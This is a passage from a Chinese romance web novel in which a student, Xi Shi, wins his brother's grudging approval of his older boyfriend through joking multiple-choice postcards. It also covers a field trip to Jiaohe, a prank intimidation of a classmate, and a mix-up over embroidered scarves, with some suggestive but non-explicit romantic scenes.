奚时气呼呼地转头瞪霍景沉,霍景沉原本担心他因为想起父母的事情,心情不好,想安慰他一下,结果被瞪得心猿意马,请求吃第三顿大餐。 奚时记着上一场的仇,用手肘顶他:“抽水马桶自来水更多,你找它去。” “……”那是不是有点过分惊悚了。 霍景沉的手搭在他纤细柔韧的腰上,说:“你拍照要收钱的吧,一张一百,刚刚你按了16次快门,就是1600,我付不起钱,就用身体抵债吧,250一次。” 奚时:“…………” 你还真敢说! 奚时冷笑一声,丢下手机说:“行,今天你不把这1600花完,不准下床。” 奚小时怀着做恨(bushi)的心,要把霍景沉弄到那个不起来,结果因体力不支而半途而废。 过分放纵的后果就是第二天的实践课,几乎眼睛都要睁不开了。 今天要去的是交河故城和交河古村,交河故城作为保存时间最长最完整,也是规模最大的一座生土结构建筑,对于他们这个专业的来说,很有考察的意义。 所以他们上午几乎没怎么自由活动,都在听老师讲解这个古城。 奚时在心里有鬼,怕他哥看出他状态不对,今天发群里的明信片,又变成了只有一张交河故城的大门照片。 但问题还是要问滴。 奚小蛙带对象上门啦,请问他带下面哪个对象回家,你会同意他们在一起呢? A:奚小蛙并不喜欢、但门当户对的林可越。 B:家境贫寒、工作一般,但很爱奚小蛙的高中同学。 C:和奚小蛙一块长大、臭味相投但只把他当兄弟的秦铭天。 D:社会地位超然、家境优越、和奚小蛙相爱的沉景霍。 奚朝:“” 这沉景霍是个什么东西! 去了一趟火焰山,也学西游记里的孙行者,搞出两弟弟者行孙、行者孙来了是吧。 奚朝的目光落在这几个阴险的选项上。 A这种选择确实是他心目中最适合奚小时的结婚对象,林可越自己优秀,家庭条件也较为优越,和奚家算门当户对,有他在,林父林母也不敢像邵夫人那样子,拿势头压奚时。 B选项,假如奚小时真谈了个穷酸小子,奚朝大概率也不会同意的,除非那穷小子很有上进心,干出一番大事业来。 C,秦铭天那小子,靠!整一个小纨绔,老爹还养了一堆车做小老婆,坚决不行! D算了,不评价。 其实他看得出来,奚时是在拐弯抹角地告诉他,不让他和霍景沉在一起,他未来或许会和他期待的那样,找个林可越这种,但也是顺应他的要求而已,和行尸走肉的联姻没区别。 而且说不定还会出现B、C这种比让他跟霍景沉在一起还糟心的。 又或者,他还是会依着霍景沉的影子,找个什么沉景霍、景霍沉的。 位高权重者,大多高高在上,低不下高贵的头颅。 相比较而言,霍景沉虽然也有毛病,但已经算是平易近人那一挂了。 唯一的缺点就是年纪大一点,还有个同样喜欢奚时的儿子。 但他那个儿子也在群里,这几天也在做各种奇奇怪怪的选择题,明显人家表明了如果奚时真成了他后爸,以后会摆正关系,不再觊觎他,看样子三观还是正常的。 总之,所谓他期待的完美婚姻就是个笑话,没有什么是完美的,他父母的婚姻还不够完美么,到头来不还是闹到现在这种难堪的境地。 奚时时不时看一眼手机,发现他哥今天迟迟不选,故意坏心眼的一直给他发催促提醒。 于是,奚朝的微信里,就不停跳出提示框。 【奚小蛙戳了你一下】 【哥哥,快选呀~】 【哥哥,为什么还不选,是因为都不喜欢吗?】 【哥哥不喜欢没关系,奚小蛙可以一辈子不结婚,陪着哥哥噢。】 【哥哥】 奚朝头都被他哥大了,他不想承认自己已经被奚时说动摇了,于是干脆选了C。 页面跳转到新的H5页面,卡了一会之后,忽然开始“砰砰砰”地放礼花。 卡通奚小蛙牵着跟它几乎一样的粽子小人,手里捧着一束结婚手捧花。 【恭喜秦铭天、奚小蛙喜结连理、夫夫恩爱,白头到老~】 系统还把这条提示发在了群里,原本在群里当着透明吃瓜人,一个屁也不敢放的秦铭天被系统艾特出来,看到这条提示惊呆了。 [群聊]霍思议:什么情况? [群聊]秦铭天:@奚时别吓我啊兄弟!我直男! [群聊]奚时:我哥把我许配给你了,你问他。 [群聊]奚朝: [群聊]霍思议:@霍景沉 [群聊]霍景沉: [群聊]霍景沉:@秦铭天聊聊? [群聊]秦铭天:垫好榴莲,扑通一声给大佬们跪下 [群聊]秦铭天:大佬们,小的上有老,下还没小,秦家的香火不能在我这一代断了,求求大佬们给小的一条生路吧。 [群聊]奚朝:你怂什么? [群聊]奚朝:我就把奚时交给你了,不同意的可以自己滚。 奚朝发完这句话,心满意足地关掉群聊。 呵!就算他心理上接纳了奚时和霍景沉在一起,也要恶心一下这老东西。 一想到这男人比他还大了几岁,他心里就还是膈应。 说不定过两年都开始长白头发了,而他的弟弟正值青春。 啊呸!老男人! 奚时心虚地装作没看到秦铭天发来的一连串质问,他只是把秦铭天放进去凑数的,谁知道他哥会选这个。 只能委屈发小了。 下午他们去参观交河古村,这个古村落历史气息浓厚,又充满生活气息,最重要的是老教授授课欲没那么强,早早地就放他们自由活动了。 “我刚看到那边有个马场哎,你们要不要去骑马?” 老师一说自由活动,肖楠就跃跃欲试地问奚时和郭昊。 上次和奚时去郊外的马场玩,被那里的马师教会了骑马,但之后就再也没机会去了,现在看到马就很想骑。 “走啊,这不比骑骆驼有意思,”郭昊立刻说,“我还想学奚哥单手骑马,简直酷毙了。” 在旁边讨论要去哪里玩的文艺委员听到郭昊的话,凑过来问:“单手骑马?真的假的?” “这哪能骗你,跟电视剧男主似的,超帅。” 说起电视剧男主,奚时就想起昨天霍景沉说的男主手表是假的,连带对其他男主都幻灭了。 而且他和霍景沉做了一晚上恨,现在屁股还难受,哪里还骑得了马。 他见文艺委员几个妹子眼睛发亮地看他,赶紧拒绝说:“我今天身体不舒服,下次吧。” “是真的身体不舒服还是装逼装过头了圆不上,只能找这么拙劣的借口啊?” 赵嘉文恰巧听到了他们的对话,阴阳怪气地插话道。 郭昊看赵嘉文不爽很久了,说:“赵嘉文,你烦不烦啊这么爱撩闲。” “我只是看不惯有的人一天到晚装逼,”赵嘉文很欠揍地摊手说,“真金不怕火炼,想证明就给大伙露一手咯。” 郭昊还想说什么,被奚时拽了下胳膊。 奚时冲赵嘉文勾勾手指,赵嘉文警惕地问:“干什么?” “你凑过来,我给你说个大秘密。”奚时说。 赵嘉文不知道他葫芦里卖什么药,正要拒绝,奚时用他最喜欢的激将法反激他:“怎么,害怕了?” 这方法果然管用,赵嘉文冷笑一声:“我怕你?” 说着,他几步走到奚时跟前,说:“你有什么屁,放吧。” 奚时压低声音说:“你知道李博超为什么会被抓进去吗?” 赵嘉文莫名其妙:“不是说侵犯了谁的名义权?” 奚时学小短剧的恶毒后妈,邪魅一笑,说:“不,是他得罪了我,我让我男朋友把他弄进去的,你看,这是我男朋友找的律师给我发的照片。” 说着,奚时给他看郭律师昨天发给他的一张照片,李博超带着银手镯,垂头丧气地被两个警察领走的照片,也不知道郭律师是怎么拍到的。 李博超的罪名不是很重,只够被拘留几天,但对于学生而言,已经是致命打击了,而且奚时这边还要起诉他,打官司赢了之后,还会给李博超留下案底,影响考公。 而他们这个专业,进事业单位的最多。 要不是李博超反咬一口,指控奚时性/骚扰,奚时说不定会大发慈悲,让律师对他下手轻点,吓唬吓唬他就行,不至于连前程都搭进去。 赵嘉文见到照片,果然变了脸色,甚至不太敢信地拿过奚时手机,大概想辨认这个人是不是李博超,奚时是不是故意吓唬他。 辨认完,他脸色有点白。 “你也可以向辅导员求证,他进去是不是跟我有关系。”奚时说。 本来赵嘉文看照片就信了几分,听到奚时敢让他跟辅导员求证,更说明了此事的真实性。 奚时见他被唬住了,眼神一厉:“我跟你说,我男朋友可是黑白通吃的厉害人物,你最好安分点别在我跟前晃,把我惹烦了,我让他也给你一副银镯子戴,不信你可以试试。” 赵嘉文:“” 奚时说完这句话,就很有大佬风范地离开了,听得目瞪口呆的肖楠和郭昊赶紧跟上。 文艺委员她们看奚时把赵嘉文找过去说了几句话,就走开了,而赵嘉文脸色苍白,关心地问:“赵嘉文,你没事吧,脸色这么难看。” “没,没事。”赵嘉文心有余悸地说。 “我说你追小洁就专心追呗,老找奚时麻烦干什么,人家都说了只喜欢男人,你还把他当情敌。”文艺委员忍不住帮奚时说话。 主要是这个赵嘉文太烦人了,谁都看不下去。 让人都怀疑他是不是奚时的深柜。 赵嘉文闻言跟惊弓的小鸟一样,立刻说:“我以后都不找他麻烦了,我保证。” 他可不想给自己找个银手镯戴。 一直走出老远了,郭昊才忍不住冲奚时竖起大拇指:“奚哥,你厉害啊,吹牛都不带打草稿的,看赵嘉文那小子被吓得,哈哈哈,要不是我认识景老师,我都信了。” 奚时心说大胆点,你们景老师就是这么厉害。 肖楠和赵嘉文关系还可以,不然生日的时候也不会请他去。 不过他也烦他天天找奚时的茬,说:“他胆子小得很,你这么一吓他,以后应该不敢有事没事来招惹你了。” 奚时要的就是这个目的,苍蝇虽然不会咬人,但嗡嗡嗡的也烦。 这个交河古村很好玩,但奚时累得很,找了个身体不舒服的借口,先打车回酒店了。 霍景沉被他金屋藏娇在酒店里,正在兢兢业业地用随身带的小笔电办公,见到奚时回来,揽着他的腰让他坐在自己腿上,想亲奚时,被奚时一口咬在下巴上。 奚时想发泄一下不满,结果被他的胡茬扎了嘴,不满地松开嘴,说:“霍先生,请保持美貌,不然我要换个对象付费了。” 霍总一次只值250,还要被要求保持美貌,摸了摸就一天没刮胡子的下巴说:“你不觉得这样更有男人味?” “我对一个男人有没有男人味的评判标准是他穿西装帅不帅。”说到这个话题,奚时就不累了,并疯狂暗示。 他看到霍景沉行李箱里的西装了! 战袍都带来了,现在不穿等何时穿,明天就回去了! 霍景沉:“” 霍景沉有时候真的怀疑,奚时是不是对他只有外表上的喜欢,压根没有精神上的爱意,但咱也不敢问,咱还要继续彩衣娱时。 就很气。 霍总磨了磨后槽牙,在奚时期待的眸子上亲了一口,说:“去洗澡。” 奚时立刻听话地拿着睡衣进了卫生间,快速洗了个热水澡,出来的时候拉开一点浴室门,期待地问:“我要出来了噢,可以了吗?” 霍景沉“嗯”了一声。 奚时立刻出来,看到正在系西装扣子的霍景沉,眼睛倏地亮了。 “小美人,你知不知道你穿这么好看,是要被本青蛙一口吞掉的!” 霍景沉挑了下眉,在他办公的椅子上坐下来,奚时“嗷呜”一声扑过去,青蛙爪子在霍景沉昂贵的西装上上下其手。 可惜霍之大,一个奚小蛙吃不下,还被圈在怀里反吃,吃得自来水开关都松了,在霍景沉浅灰色的高定西装裤上流下了一个可疑的湿痕。 奚时羞得无地自容,特别是这时候霍景沉还发出一阵沉沉的闷笑,气得他转头去咬霍景沉的肩膀,又被霍景沉抱起来。 身上衣冠楚楚、可以去开视频会议的男人对奚时的蛊惑能力一流,让奚时咬着牙,配合他的力度放松身体,往他腿上坐。 如此高难度的动作,十分艰难,还差一半才能竣工时,房间忽然被“嘭嘭”敲响,把奚时吓得腿一软,直接整个坐下去。 两个人同时倒吸了一口气,当然含义不同,奚时是撑的,另一个人是愉悦的。 但这不是重点。 重点是,拍门声停止后,外面传来肖楠大嗓门的声音:“奚哥,快开门,看我们给你带了什么好东西!” 奚时不想理他,但片刻后,这二货又学上了雪姨,说:“快开门啊,奚哥,别躲在里面不出声,你有本事开门啊!开门啊!” 奚时:“” 又是想报警的一天 第53章 第 53 章 霍景沉上次被大舅哥害得有了先见之明, 知道他一紧张就猛缩自来水的出口,手疾眼快地把奚时抱起来,生怕再来几次, 会英年早萎。 “你要不要问一下怎么回事?”霍景沉问。 谁知奚时攀住他肩膀,又坐回去, 声音带着鼻音说:“不用管, 人来疯, 等下就跑了。” “……” 果然,外面的人敲了一会门, 说了一句睡这么死, 就走了。 两个人不约而同地松了口气。 一直过去了快一个小时的时间, 奚时才有空回肖楠消息。 肖楠说他们买到了有好玩的东西,非要给奚时献宝,奚时现在餍足地躺在床上,一动不想动,根本没兴趣。 他好不容易才婉拒掉肖楠他们要给自己的献宝的想法, 又忍不住瞪了眼吃饱后又继续工作的霍景沉。 怎么他和霍景沉走到哪都要偷情! 说到偷情,奚时想起来今天的明信片还没发。 他找出一张他站在一尊佛像前, 往佛像前的泥陶罐子里投钱祈愿的照片。 【你的奚小蛙给你寄明信片啦~】 你的奚小蛙说:今天是一只许愿蛙, 听说这尊佛像是专管姻缘的,人家许愿都投一块,小蛙下血本投100块,希望能插个队, 许愿哥哥立刻找到嫂子~ 奚朝刚摆脱掉要约他出去蹦迪的叶橙, 看到这条消息差点气笑了。 我在前线拼命想摆脱桃花, 你在后面加钱做法是吧。 哄堂大孝了。 更气人的是下面的提问。 在哥哥的见证下,奚小蛙和秦铭天结婚了, 并幸福地生活在了一起。 今天,是他们的结婚一周年。 谁知,奚小蛙哭着跑回来,哥哥这才知道,秦铭天居然是个直男,他们这一年,表面幸福恩爱,实际弟弟一直独守空房,知道真相的你将会? A:把秦铭天打到弯。 B:让他们离婚!给奚小蛙重新找个我满意的对象! C:助力奚小蛙穿回过去,开启新副本《重生之我帮弟弟追首富那些年》。 什么乱七八糟的! 奚朝脑袋都想给奚小蛙打弯。 可是,这几个答案,看着无厘头,实际都可能是他面对奚时以后万一不幸婚姻的态度。 要么暴力镇压加和稀泥。 要么支持他重新离婚重来,而且以他的控制欲说不定会更加严格把控奚时下一任对象的选择。 这样或许能帮他选个好的,或许又因为他的干涉,促成新的不幸婚姻…… 奚朝不想跟他弟弟玩这气人的文字游戏了,闭了闭眼,如他所愿,选了C。 页面跳转,新的页面加载出一只卡通奚小蛙,头挤挤挨挨地蹭着一只柴犬,头顶气泡:哥哥最疼小蛙了,小蛙和哥哥天下第一好~ 奚朝:“” 啊呸! 跟你的霍景沉天下第一好去吧! 奚朝糟心地叉掉了页面,也学奚小时把群消息设置免打扰。 只要我不看,它就不存在! 但系统已经兢兢业业地再次把奚朝的选择同步到了群里。 【天空一阵巨响,奚小蛙重生登场!重生后的奚小蛙在哥哥的支持下,您猜怎么着,嘿,他和首富在一起了。】 [群聊]霍思议: [群聊]秦铭天: [群聊]秦铭天:我人头保住了是吗? [群聊]霍思议:学长 [群聊]奚时:[猫猫摸头.JPG] [群聊]霍思议:[大哭] 系统:霍思议退出群聊。 奚时:“” 奚时有点不知所措地看向霍景沉。 霍景沉失去了收明信片的资格,而且人来了之后奚小蛙都不跟他说让人小脸通黄的悄悄话了,他只能看奚时的手机。 见逆子就这样直接退了群,霍景沉揉了揉奚时的脑袋说:“没事,他只是一时间接受不了事实而已,这么大个人了,他会调整好自己的。” 奚时心想也是,谁还没失过恋呢。 他当初都跟邵寻那王八蛋准备结婚了还分掉,不也都过来了。 而且他觉得霍思议应该是有这个心理准备的,毕竟他不止一次地拒绝过他。 这样子想着时,奚时忽然被霍景沉抱起来,霍景沉力气大,抱他跟抱小鸡仔似的,几乎不费吹灰之力就把他抱上了放着电脑的办公桌。 “干什么?”奚时抬头瞪他。 “你这就把你哥搞定了?” 奚小时得意地翘尾巴:“也不看看我是谁,So easy。” “那厉害的奚小蛙同学,”霍景沉垂眸看着奚时,认真地问,“我现在是不是可以申请从卖身工变成男朋友?” 听到男朋友三个字,奚时的耳尖有点红,他一个差点步入婚姻殿堂的人,好像只做过别人的未婚夫,还没做过别人的男朋友。 他一直觉得这是一个很奢侈的词,毕竟从他有了爱情婚姻观的时候起,就决定了要把婚姻作为家族联姻的工具。 甚至连对第一眼看到就疯狂心动的霍景沉,也不敢奢想和他正常交往,只敢暗搓搓地以包养的名义睡他。 “我”奚时的喉结滚动了一下,别开脸,避开霍景沉灼热深邃的目光,“你还有没有什么瞒着我的?比如没有什么纠缠不清的未婚妻吧。” 奚时可记得霍思议说的那个可以给霍景沉生孩子的白静姐姐,对这个人的存在耿耿于怀。 “没有,我虽然父母健在,但现在我是霍家的当家人,有绝对话语权,没有人能管我,更没有人可以给我定个什么未婚夫未婚妻,你以后就是唯一能管我的人。” “”该死,这种情话怎么又土他又很爱听,果然他是土狗。 奚时不想心里梗着一根刺,干脆直接问:“那白静是谁?” “她?她是我母亲的干女儿,我母亲一直致力于撮合我跟她,但我对她不感冒。” 说着,霍景沉伸手捏了捏奚时红彤彤的耳垂,说:“放心,我对女人硬不起来。” “那男人呢!”奚时凶巴巴地看着他,“未婚夫也不可以有,还有白月光什么的,你现在交代我不翻脸。” 霍景沉大手覆在他白嫩的脸上,大拇指如珍宝似地摩挲了几下他的脸颊,说:“放心,绝对没有,我的情史你可以查,绝对干干净净,你要不放心,也可以去问霍思议,他肯定不会瞒你的。” 奚时很满意霍景沉这个答案。 他是真怕了什么朱砂痣白月光的,对邵寻,他是把他当成联姻对象看,没有那么难过,要是霍景沉哪天冒出一个白月光来,他心态真的会炸。 所以这些糟心的东西一定要调查清楚。 “那行吧,”奚时装作满不在乎地说,“看在你这么有诚意的份上,就给你一个月的试用机会吧。” “好的宝宝,我会努力转正的。” 话刚说完,霍景沉灼热的吻就落在了他的唇上。 奚时坐在办公桌上,被迫仰着头承受男人突如其来的热吻,手撑着办公桌往后仰,又被抱住,往霍景沉身上贴。 霍景沉一直吻到他快缺氧了,才松开他。 奚时感觉他们两个人最亲密的事情都做过了,交往这种事情早已经心照不宣了才对,霍景沉却非要让酒店的人送了红酒和玫瑰过来,说这种事情要有仪式感。 强行追求仪式感的后果就是,奚小时又喝醉了,发了半个晚上的疯,非要说自己是一只青蛙,要蹲在阴暗潮湿的卫生间里冬眠。 霍景沉好不容易说服奚小蛙青蛙冬眠都是在温暖干燥的土壤里,才能保持体温不被冻死,才把人弄到床上去冬眠。 奚小蛙又把自己卷在被子里,不准他靠近。 一直到奚小蛙体力透支,沉沉睡过去,霍总才拖着疲惫的身体,钻进老婆的被窝。 他把人抱在怀里,看着奚时熟睡的脸,又忍不住笑了下,低头亲吻他红润的嘴唇。 —— 实践的最后一天安排是去坎儿井。 他们今天要把行李放到校车上,参观完坎儿井直奔火车站坐火车返程。 一大清早,天才蒙蒙亮,霍景沉就先坐飞机先回去了。 没办法,虽然他现在是奚时的男朋友了,但同时还是燕大代课老师。 只要有这个身份在,他们的关系就不可能让同学知道。 当然也是不想让某只cosplay了一晚上的青蛙酒醒尴尬,说不定奚小蛙一尴尬一羞恼,到嘴的老婆又飞了,找谁说理去。 返程和来的时候气氛截然相反,来的时候大家兴奋得和被压了500年刚解除封印的猴一样,回去的时候几乎一半多时间都在睡觉。 奚时这回好运气地买到了下铺的位置,睡了个天昏地暗,感觉睡着睡着,30个小时的时间就过去了。 到达燕京的时候,是周六的晚上,燕京刚好在下雨,又冷又湿,难受得让人不想出站。 一群同学蔫头耷脑地刷身份证出站,都不禁被打着伞站在出站口的年轻男人吸引去了注意力,几个女生还在窃窃私语好帅,猜测他是在等男朋友还是女朋友。 奚时缀在人群的最末端,拉着行李箱蔫头耷脑地走出来,听到肖楠叫他:“奚哥,那帅哥是不是你哥啊?” 奚时顺着他手指的方向看过去,果然看到奚朝打着伞站在那里,明显是来接他的,奚时眼睛一亮,跟肖楠他们打了声招呼,又让他们跟辅导员说一声自己跟家里人回去了,就拉着行李箱冒着小雨快速走过去。 “哥,你怎么来啦。” “哼,我不来,谁知道你会不会被某些老东西拐走。” 奚朝把伞往他头上挪了挪,想到奚小时那一个个如同灵魂拷问的问题,还是很气,忍不住伸出手在他脑门上弹了一下:“吃里扒外的东西!” 奚时捂着脑门傻笑,奚朝伸手拉过他手上的行李箱,说:“走吧,上车。” 车子就停在出口的马路上,司机见他们过来,赶紧下车接过奚朝手中的行李箱,又恭敬地帮他们拉开车门。 奚时坐进去,拍了拍身上的雨水,又忍不住搓这么一会时间就冻得发紫的手,说:“好冷啊,怎么感觉比新疆还冷。” “这两天下雨冷,”奚朝坐进车子,把后面的暖气调高,又看了眼窗外,不满地说,“怎么霍景沉那老东西没派他的专属座驾来接你吗?” 奚时:“” 霍景沉本来要过来接他的,但奚时知道自己家的车会过来接,于是拒绝了。 “因为我肯定是回哥你那里的,他来了也是白来。” “算他识相。”奚朝鼻子不是鼻子,眼睛不是眼睛地轻哼了一声,说道。 就算默认他们两个人在一起,还是怎么看霍景沉都不顺眼。 “我昨天看到他那个儿子耍脾气退群了,你让他好好解决好他儿子的事情,真跟个傻逼似的,儿子都这么大了,还泡个跟儿子一样大的对象,也不嫌臊得慌。” 奚时现在哪里会逆着他哥,立刻说:“好的哥,我一定会跟他说清楚的。” 乖弟弟的顺毛梳终于把奚朝顺舒坦了,没再为难他。 回到家后,奚时立刻奔去卫生间,把自己从头到脚洗了一遍,才感觉自己整个人活过来了。 奚朝知道他累,也没多问他什么,让他休息去了。 躺在自己熟悉柔软的床上,奚时发誓这辈子都不出远门了。 就要做个在家里躺的小咸鱼。 他打开微信,看到班级的微信群有群艾特,一般班级群群艾特都是一些有用的信息,奚时点进去看了眼,发现是班长艾特大家,嘱咐他们别忘了写实践报告,周一要交。 群里一片唉声叹气之声。 极乐之后是极悲,这话果然没错,他们浪了一个星期,公费旅游,紧接着就要写2000字的实践报告,简直丧尽天良。 原本写作就不是奚时的长项,看到2000字也是眼前一黑。 更痛苦的是这个实践报告的最后评分还算在大四毕业时优秀学生的考核里,没拿到90分以上就别想评优秀学生了。 奚时咸鱼归咸鱼,对于学业还是有追求的,像优秀学生这种全校都没有几个的稀有头衔,必须要争一争。 他立刻像打了鸡血,打开手机备忘录,绞尽脑汁想列个大纲出来。 很好,一对着备忘录,眼皮就开始打架。 景沉:到家了吗? 手机响了一下,霍景沉的消息出现在上方。 可能是两个人的关系有了变化,奚时现在看到这个名字,心中流过一股奇怪的暖流。 他把界面切换到微信聊天。 你咋不上天:早到啦。 景沉:有没有被你哥骂? 你咋不上天:哼!他敢骂我? 你咋不上天:我哭给他看! 景沉:我也想看。 你咋不上天:你变态啊! 你咋不上天:[骂骂咧咧.JPG] 景沉:明天有没有安排,要不要来我家玩? 你咋不上天:玩个锤子,我要写实践报告,后天要交[大哭] 你咋不上天:而且你第一次约会就约人去你家,小心思昭然若揭啊霍首富。 景沉: 景沉:咳,那去我公司楼下的咖啡馆写? 景沉:写完带你去我公司顶楼看夜景。 奚时:“” 奚时已经对霍总的浪漫细胞不抱任何希望了,并庆幸自己不是他公司的员工,不然说不定霍总的话就变成了“那你来我办公室加班”“加完本老板带你去顶楼看夜景”。 嘶,咸鱼噩梦。 奚小时忍不住打了个寒颤,以后千万不能去霍景沉公司上班,不然白天被他在公司压榨,晚上被他在床上压榨,以后老了写备忘录开头就是我给霍景沉当牛马这一生。 景沉:嗯? 你咋不上天:我不确定,看看我哥会不会放人吧。 景沉:他不是松口了? 你咋不上天:但他对你印象特别差,总觉得你是个不怀好意的老东西。 你咋不上天:革命还需继续努力啊霍总。 景沉: 虽然奚时挺嫌弃霍景沉的安排,可都成臭情侣谁不想和男朋友贴贴呢。 于是第二天奚时又被他哥叫起来吃早饭时,见他哥一身要出门的打扮,旁敲侧击地问:“哥,你要出门吗?” “对,和一个老总约了去打台球,”奚朝问他,“你要不要一起去?” 奚时把头摇得像拨浪鼓:“我要写实践报告,明天要交。” 奚朝哼笑:“难道不是我前脚走,你后脚跑出去跟那个老东西私会?” 奚时对手指,讨好地冲他哥一笑:“哥你也知道我作文写不好,需要一个人指导指导,要不你指导我也行的。” 高考作文差点离题的奚朝哪里会指导人,但他听不得自家弟弟这小伎俩,说:“我叫可越来指导你。” 奚时的脸立刻拉成了苦瓜,可怜巴巴地看向他哥:“哥——” “行了行了,”奚朝既然想通了,也没拘着他的道理,嫌弃地说,“想去就去吧。” “谢谢哥!” 奚时顿时眉开眼笑,想到什么,立刻说:“对啦,哥,我给你带了条围巾,超适合你今天这身的,你要不要戴一下试试。” 奚朝闻言,眉眼舒缓了许多,说:“拿来我看看。” 奚时立刻回房间,去行李箱从那一堆鸡零狗碎的东西里翻装围巾的袋子。 他买了两条,一条给他哥,一条给霍景沉,这两条完全不同的样式,就算放一块人家也看不出来是一个店买的。 奚时拿出给他哥的那条,拿给奚朝,说:“哥你试试,我精心挑选的!” 奚朝接过他手上原驼色的围巾,走到玄关的仪容镜前,对着镜子围上,奚时立刻眼睛一亮,说:“好看,哥,贼帅!” “你还自卖自夸上了。”奚朝好笑。 不过不愧是精心挑选的,确实很不错。 奚小时审美还是挺在线的,这条围巾很简约,但很百搭,而且毛茸茸的戴着很舒服很暖和,冬天下雪围刚好。 “才不是,真的好看,带上我这条围巾,今天就能勾个嫂子回来。” 听到嫂子,奚朝头又有点大了,忍不住问:“你这围巾应该没在什么管姻缘的佛前开过光吧。” 毕竟自从前天他弟投了100块,要求插队给他找对象后,这两天都接连被叶橙那小子纠缠。 “啊?原来还能这样吗,我怎么没想到把围巾带去让佛祖给开个光,哥你不早说!”奚时捶胸顿足。 奚朝:“” 谢谢,真的不需要。 奚朝吃完早饭就走了,过了一会儿,霍景沉的车也出现在他哥家的楼下,奚时带上小笔电,屁颠屁颠地下楼了。 今天天已经放晴了,外面阳光明媚,奚时的心情跟今天的天气一样明媚,尤其是看到亲自下车帮他开门的霍景沉,心情更好。 终于不用偷情了,谁懂啊家人们。 奚时开心地走过去:“哥。” 重新听到这个称呼,霍景沉眼底也盛着笑意,伸出手在他脑袋上揉了一下,说:“上车吧。” 奚时坐上去,霍景沉也上车后,他把手上的小袋子递给霍景沉。 “什么?”霍景沉问? “给你买的礼物。” 霍景沉没想到他自己也去了一趟西藏回来,还能收到奚小时的礼物,实属意外之喜了,问:“我现在可不可以看?” “可以,里面有条围巾,我一眼看中的,觉得特别适合你,嘿嘿。” 霍景沉从袋子里拿出奚时说的围巾,跟奚朝那条纯色的不同,霍景沉这条带了简约的格子花纹,奚时感觉霍景沉围起来应该会很好看。 “帮我围上。”霍景沉把围巾递给奚时。 奚时很乐意做这种事情,立刻接过他手中的围巾,帮他围上,看了两眼觉得怪怪的,又拿下来说:“我明明看你上次围超帅的,怎么今天土土的,难道你天生只适合高定?” “衣服问题。” 霍景沉眼也不眨地把责任推到衣服身上,并立刻从奚时手中把围巾拿过来,生怕他觉得不好看就丢了,说:“我明天让人送一套搭的衣服过来,保证好看。” 失望的奚时有被安慰到,恶狠狠地说:“不好看也不准丢,上面还有我给你的惊喜。” “什么惊喜?”霍景沉翻来覆去看,把目光定格在那一串机绣的维语上,“这个?” “你猜。”奚时拿出手机,他都忘记给他哥哥说了。 跟他哥就没有猜来猜去的小情趣了,他直接告诉他哥惊喜就是维语。 奚朝这会儿正在车上,看到他弟的消息,拿出手机,打开翻译器,拍照上传。 几秒钟后,翻译器给出一行字:奚小蛙的专属老男人。 奚朝:“” 奚朝被这一行字狠狠地辣到了眼睛。 自己弟弟这什么土狗情趣!特么起码也搞个既见君子,云胡不喜之类的。 占着别人看不懂为所欲为是吧。 他咬牙切齿地把这行字截图给奚时:这就是你给哥哥精心挑的礼物?! 奚时看到霍景沉翻译器里出现应该给他哥的话,人也傻了。 WTF?! 第54章 第 54 章 奚时的脚趾快把霍总的豪华座驾都抠出一栋别墅来了。 他清清楚楚地记得, 当时店员给了他两个便利贴,为了防止弄错,他还特地在上面标注了哪个便利贴上的字绣在哪个颜色上面, 并且还把它们分别和对应的围巾放在了一起。 店员能把汉字翻译成维吾尔语,肯定是认得汉字的吧, 这得克服多少困难, 才能给他搞错了。 现在就是想死, 非常想死。 关键是霍景沉手上的这条,上面的字是“朝花夕拾”, 是他们兄弟二人名字的由来, 给霍景沉也完全不合适。 如果没送出去时发现了这个bug, 把它们换一下送给两人,也不会有多大的问题。 关键是现在都送出去了,再收回来换一下,他哥肯定不会要的,霍景沉或许为了让他开心会要, 但心里也梗着一根刺不舒服,那这礼物还有什么意义! 奚时胸口疼。 救命!有没有什么乾坤大挪移可以把这两条围巾上的字换一换啊! 奚时不敢回他哥的消息, 把霍景沉手上的袋子拿过来, 说:“不要了,下次再给你买!” 霍景沉不松手:“还有办法补救。” 奚时知道霍景沉所谓的补救,肯定是让人手工把上面的机绣拆掉,然后再覆盖绣他想要的文字上去。 “这条围巾的价格都不过百, 哪里需要费那么大的功夫。”奚时说。 霍景沉顺着他的力道靠过去, 在他眼皮上亲了一下, 说:“你送的,费多大功夫都值得。” 奚时:“” 行吧, 情话谁不爱听呢,奚时任由霍景沉拿走了围巾。 至于他哥那条,现在奚时不敢去触他眉头,晚上回去看看他有没有丢掉吧QAQ。 霍景沉所说的咖啡馆,就在他公司大楼的旁边,装修精奢小资,是上班族们钟爱的休闲胜地,除了价格偏贵没有任何毛病。 当然这点在霍首富看来完全不是毛病,他要了个安静靠窗的隔间,冬日的暖阳顺着落地窗洒在柔软舒适的卡座上,奚时刚坐下就感觉自己困了。 他赶紧点了杯拿铁提神,从包里拿出笔电,就着对面男朋友的美色,开始憋字。 写了一会,奚时思路就被堵住了,目光不由自主地看向窗外。 嗯?有点眼熟。 奚时指着不远处的一栋建筑,转头问霍景沉:“那不是你骗我说是你家的那个公寓吗?” 之前他还不知道霍景沉身份时,这人带他回了一个豪华公寓,还谎称是用他的包养钱租的! 霍首富深刻体会到了装一次穷带来的长尾效应,走到哪都要被想起旧事,被翻旧账。 他轻咳一声,说:“那公寓我忙的时候会经常去那里过夜,说是家也不算骗你。” 奚时哼了一声。 他就说那房子跟样板房一样,不见一点生活气息,当时还以为是霍景沉刚搬进去的缘故,原来是不常住的缘故。 不过翻起旧账来,霍总也有旧账要翻。 他问奚时:“你都不肯带我去你住的地方,是不是就想着把我睡腻了随时踹了。” 这回轮到奚时心虚了。 但他理不直气很壮地说:“本来我们就是包养关系,我给了钱的,当然我想什么时候结束就什么时候结束!” 霍景沉:“一点舍不得都没有?” “不告诉你!好了好了,不跟你说了,我要继续写报告!” 霍景沉看他耳尖微红,猜到了不告诉你后面令他满意的答案。 虽然奚小时这不舍得的成分可能更多的是对他的外表和身材,但从分开这一个多月的时间,霍总才发现能被觊觎身材和脸,就已经赢了大半了。 不然他拿什么和霍思议争,年纪吗? 奚时憋了一上午,憋出了1000多个字,下午只要再收个尾,修一修,润润色就差不多了,压力骤减。 霍景沉带他去附近的餐厅吃饭,这附近办公楼多,所以相应的餐饮业也发达。 可惜今天周日,不然奚时还想去霍景沉他们公司的食堂蹭饭,不知道跟他们的大学食堂比,哪个更好吃。 霍景沉带他去的是对面商场里的一家私房菜馆,距离很近,步行过去就行。 